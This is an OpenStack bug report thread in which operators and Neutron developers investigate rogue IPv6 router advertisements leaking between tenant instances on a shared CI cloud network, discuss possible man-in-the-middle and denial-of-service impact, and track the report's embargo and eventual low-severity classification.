RA Leak on tenant network

[Logan V]

This morning we saw RA learned prefixes popping up on instances within the Limestone CI cloud nodepool tenant network. This was discovered because the instance hosting the openstack infra mirror at limestone, mirror.regionone.limestone.openstack.org, began failing to connect to external networks since it was sourcing outbound requests using non-routable IPv6 addresses. See http://paste.openstack.org/raw/777718/ for output from the mirror instance. The only valid globally routable IPv6 addresses on Limestone are in 2607:ff68::/32, so the false addresses are easily identified there: 2003::f816:3eff:febd:b93/64 and 2003::1:f816:3eff:febd:b93/64.

I launched an instance to investigate the loss of connectivity and noticed that it also acted on these bogus RA's:
http://paste.openstack.org/raw/777717/
In addition, my instance learned 5 ipv6 default nexthops from RA's: http://paste.openstack.org/raw/777722/

Among these, only fe80::f816:3eff:fe77:b05c is a valid nexthop on this network, hosted by a neutron HA router.

I attempted to identify the remaining 4 MAC addresses by searching nova/neutron logs on the controller hosts and the compute hosts. I also searched the openstack mysql databases for hits on these MACs. I wasn't able to find any sign of these MAC addresses anywhere, so I wonder if these MACs might be generated by a neutron instance running within one of the gate jobs on the cloud. fungi noticed several test jobs are configured to use the 2003:: network http://codesearch.openstack.org/?q=2003%3A%3A.

It is extremely unlikely that these invalid RA's leaked from outside the openstack environment since they are not physical hardware mac addresses, and also the virtual network where these RAs were observed is not bridged to the physical network whatsoever. Its only access to the outside world is through a neutron L3 HA router hosted on the controller hosts. All traffic between the instances and the controllers is transmitted over a neutron linuxbridge vxlan network.

The cloud is a Rocky openstack cloud deployed by openstack-ansible. The entire configuration for this cloud is located at https://opendev.org/limestone/ci-cloud-config.

[Jeremy Stanley (fungi)]

Since this report concerns a possible security risk, an incomplete security advisory task has been added while the core security reviewers for the affected project or projects confirm the bug and discuss the scope of any vulnerability along with potential solutions.

[Jeremy Stanley (fungi)]

This was discussed in public briefly in the #openstack-infra IRC channel on Freenode, but once we realized it could be an indication that Neutron was failing to prevent route advertisements from some server instances from reaching other server instances on the same shared network, we took further discussion private. The log of what has been said in public so far can be found here: http://eavesdrop.openstack.org/irclogs/%23openstack-infra/%23openstack-infra.2019-09-19.log.html#t2019-09-19T15:30:19

[Jeremy Stanley (fungi)]

My primary concern, if this represents a legitimate bug in Neutron, is that it could lead to viable man-in-the-middle types of exploits where an instance for the attacker's tenant broadcasts route advertisements with itself as a gateway, and then translates the source addresses of any traffic routed to it by instances from victim tenants sharing the same layer 2 network segment before forwarding them on to their intended destinations, allowing the attacker to at least observe and potentially tamper with the content of the victims' plaintext communications.

Short of that, the behavior observed at a minimum suggests a simple denial of service for IPv6 network communications in similarly-configured environments.

[Jeremy Stanley (fungi)]

I have subscribed Clark Boylan to this bug report, since he was also involved in some of the private discussions which ensued after we realized the potential security risks it represented.

[Logan V (loganv)]

Using the codesearch link from fungi, I created a logstash query to identify projects in the codesearch results which ran jobs on limestone-regionone recently:
http://logstash.openstack.org/#dashboard/file/logstash.json?query=node_provider%3Alimestone-regionone%20AND%20message%3A%5C%22TASK%20%5Bconfigure-unbound%20%3A%20Set%20IPv4%20nameservers%5D%5C%22%20AND%20(project%3A%5C%22openstack%2Fneutron%5C%22%20OR%20project%3A%5C%22openstack%2Ftempest%5C%22%20OR%20project%3A%5C%22x%2Ftobiko%5C%22%20OR%20project%3A%5C%22openstack%2Fneutron-fwaas%5C%22%20OR%20project%3A%5C%22x%2Fec2-driver%5C%22%20OR%20project%3A%5C%22x%2Fvmware-nsx-tempest-plugin%5C%22)

In the last 9 hours there are builds for openstack/neutron (12), x/tobiko (9), and openstack/tempest (3)

[Jeremy Stanley (fungi)]

The IETF's IPv6 working group also has some things to say on the topic of rogue router advertisements, along with (mostly common-sense, to network engineers at least) guidance, in RFC 6104: https://tools.ietf.org/html/rfc6104

[Brian Haley (brian-haley)]

Can you explain the network layout some more? For example you mentioned this:

"Its only access to the outside world is through a neutron L3 HA router hosted on the controller
hosts."

Does this mean that the private test networks are only connected externally via the neutron router?

Also, regarding the 2003 prefix, the tests for neutron jobs are using this when running their neutron-tempest-plugin tests. We could change that to be 2001:db8:: so we don't use anything routable, but I'm not sure it would not be auto-configured.

[Brian Haley (brian-haley)]

Created two patches for previous comment:

https://review.opendev.org/683243 (tempest)
https://review.opendev.org/683244 (tobiko)

[Logan V (loganv)]

"Does this mean that the private test networks are only connected externally via the neutron router?"
Yes, that is correct.

The neutron configuration:
https://opendev.org/limestone/ci-cloud-config/src/branch/master/network_bootstrap/bootstrap-neutron.yml

Upstream from the controllers hosting the neutron l3 agents, two static routes exist:
10.4.70.0/24 -> 216.245.200.140
2607:ff68:100:54::/64 -> fd3b:86c4:135e:d033::100

Happy to provide further clarification if needed.

[Logan V (loganv)]

All nodepool instances are built on "Gateway Network" by the way.

[Miguel Lavalle (minsel)]

Added Slawek Kaplonski to the notifications of this report, since he is the new Neutron PTL

[Slawek Kaplonski (slaweq)]

Hi,

I'm looking at this and I have 2 questions:

1. is my understanding correct that on e.g. 1 vm created on limestone cloud we run e.g. tobiko test, this test is using 2003:: IPv6 network internally and those prefixes are than advertisment to other instance(s) in limestone cloud?

2. Is this happening only on limestone cloud or on other providers also? If only on limestone, do You know if there is anything specific in config of this cloud provider?

[Jeremy Stanley (fungi)]

I would turn these questions around... limestone is using a shared network model for multiple tenants. Is there any configuration/feature of OpenStack which is expected to prevent router advertisements from one instance from being received and acted on by another instance on the same shared network? Maybe something like the configurable protections against ARP spoofing/poisoning (which exists to mitigate similar risks).

[Clark Boylan (cboylan)]

FWIW I agree with fungi and am curious to know if Neutron has anything ready to address this (another case would be rogue dhcp servers as well).

But to help aid in understanding what is going on here I'll try to answer the previous questions.

1. I think that is the assumption (though it may be more than just tobiko testing). Basically test jobs run, those jobs then result in RAs being sent from the test node to other nodes on the network.

2. We have observed it on limestone because it broke the mirror nodes ability to fetch external resources there. This can happen there because limestone's two tenants share a single flat network. This may happen on other clouds but network topology limits the destructiveness it can cause or prevents it entirely.

For example on the fortnebula cloud the mirror and test nodes are on different networks. In this case it would be only the other test nodes that end up with trashed networking. This may cause jobs to fail oddly (in fact we have seen octavia jobs fail there with broken DNS).

In OVH every host is on a /32 for ipv4 and while we don't configure ipv6 there I can only assume they do a similar /128 and force all traffic through their routers.

On rackspace networking is shared but you are assigned a network out of pools of networks AIUI. So this comes down to luck of the draw.

Finally I will point out that if we break ipv6 routing on a node with ipv4 networking too that the host should fall back to ipv4. This may slow down jobs but they will function. Thus we likely only really see the true impact of this when on ipv6 only clouds like limestone and fortnebula.

To go back to Jeremy's point I think it would be useful to know if neutron is expected to prevent this from happening (as it does with arp spoofing). If it does then we should probably communicate that more effectively and maybe even configure this by default? I know neutron refuses to have more open security group rules as part of its secure by default policy. I would expect that to apply here too.

If neutron doesn't do this today, then should it?

[Brian Haley (brian-haley)]

Neutron does block DHCP/RA from instances by default:

https://github.com/openstack/neutron/blob/master/neutron/agent/linux/openvswitch_firewall/firewall.py#L929

But not from router/dhcp ports.

Are all these instances sitting on a shared network where they can see multiple neutron routers? I still don't have a clear picture.

[Logan V (loganv)]

Brian,

I pulled a bunch of output from osc.. if this doesn't help clear it up could you let me know what data I need to gather to help with this?

Thanks!

[Brian Haley (brian-haley)]

Sorry, I still don't understand things, maybe I just need to draw a diagram on my whiteboard.

Do you have a picture, or the horizon dashboard showing the networks and where the test/tenant routers are plugged-in?

[Logan V (loganv)]

Hi Brian, I took a screenshot in Horizon. Does this help?

[Brian Haley (brian-haley)]

Hi Logan, thanks for the screenshot.

So are the neutron routers plugged into the Flat External network?

[Logan V (loganv)]

Yes. The router for gateway network is plugged into flat external.

[Brian Haley (brian-haley)]

Hi Logan. Slaweq and I just talked about this, but have more questions.

From the picture, there is an instance on the gateway network. Is that the compute instance where the tests are running? In other words, it's spawned, openstack services are started, and neutron objects are created inside it? Trying to get a picture of how things are connected there.

If that is the case, has port security been disabled on any of the ports? Otherwise we would expect anti-spoofing rules to be installed. Depending on the firewall being used, can you see if these rules are installed? You can just link output of these commands:

$ sudo iptables-save
$ sudo ovs-ofctl dump-flows br-int

If it's easier to somehow get us access to one of these instances that seems to be "leaking" that might help too. Thanks.

[Slawek Kaplonski (slaweq)]

Hi Logan,

One more question, just to be sure that I understand it correctly. Is it like all instances are plugged into "Gateway Network" and this routes are leaking from one of such instances to another one through (probably) this "gateway network"?

[Clark Boylan (cboylan)]

Yes all instances are attached to "Gateway Network". This includes the mirror in project A and the test nodes in project B. What we seem to observe is that test nodes emit RAs that the mirror picks up. This then breaks routing for the mirror.

[Clark Boylan (cboylan)]

Yesterday I managed to boot instances in both projects on the same Gateway Network. I then set up radvd on instances in both projects and while I could see the RAs on the host running radvd they did not show up on the other hosts on the network (according to tcpdump). I haven't deleted these hosts and can get you all access to them too.

Logan mentioned that he thinks this might be race? In any case its more subtle than all RAs leak across the shared network.

[Logan V (loganv)]

Slawek, yes that's correct.

The fact that we have been running jobs on Limestone again for the last couple weeks with no recurrence makes it seem like some sort of weird edge case, maybe in some cases the port filters which block the RAs aren't being set up correctly and by chance we managed hit that on one of the jobs that generates RAs.

[Slawek Kaplonski (slaweq)]

Logan, that could be the case. But we would need to see state of Limestone compute nodes to check that (when this would happen again).
I don't think that this could be race condition during setting up security groups and spawning instance but maybe vm which leaked those RA was e.g. live-migrated and than it happend somehow? That's all just guessing as I really don't know what could happen there :/

[Jeremy Stanley (fungi)]

In keeping with recent OpenStack vulnerability management policy changes, no report should remain under private embargo for more than 90 days. Because this report predates the change in policy, the deadline for public disclosure is being set to 90 days from today. If the report is not resolved within the next 90 days, it will revert to our public workflow as of 2020-05-27. Please see http://lists.openstack.org/pipermail/openstack-discuss/2020-February/012721.html for further details.

[Jeremy Stanley (fungi)]

It doesn't look like this report has seen any activity since my update two month
s ago, so consider this a friendly reminder:

The embargo for this report is due to expire one month from today, on May 27, and will be switched public on or shortly after that day if it is not already resolved sooner.

Thanks!

[Jeremy Stanley (fungi)]

The embargo for this report has expired and is now lifted, so it's acceptable to discuss further in public.

[Mohammed Naser (mnaser)]

I just ran into this issue today in our cloud. iptables_hybrid + ovs + Stein.

It is very serious and results in rogue RA's showing up on systems which installs IP addresses on all of them, especially in a large public network.

I do agree that the code seems that it is blocking it, but in my case, the issue did happen.

[Jeremy Stanley (fungi)]

As annoying and disturbing as this bug is, we still years later lack sufficient information to be able to reproduce and study the behavior in order to even attempt to identify a root cause. Unless that situation changes, it seems impractical to exploit at the very least. In discussion between VMT members and others in the OpenStack Security SIG during the 2023.1 PTG, we decided for now we'll treat it as class C1 per our report taxonomy (though we're happy to revisit if anything changes): https://security.openstack.org/vmt-process.html#report-taxonomy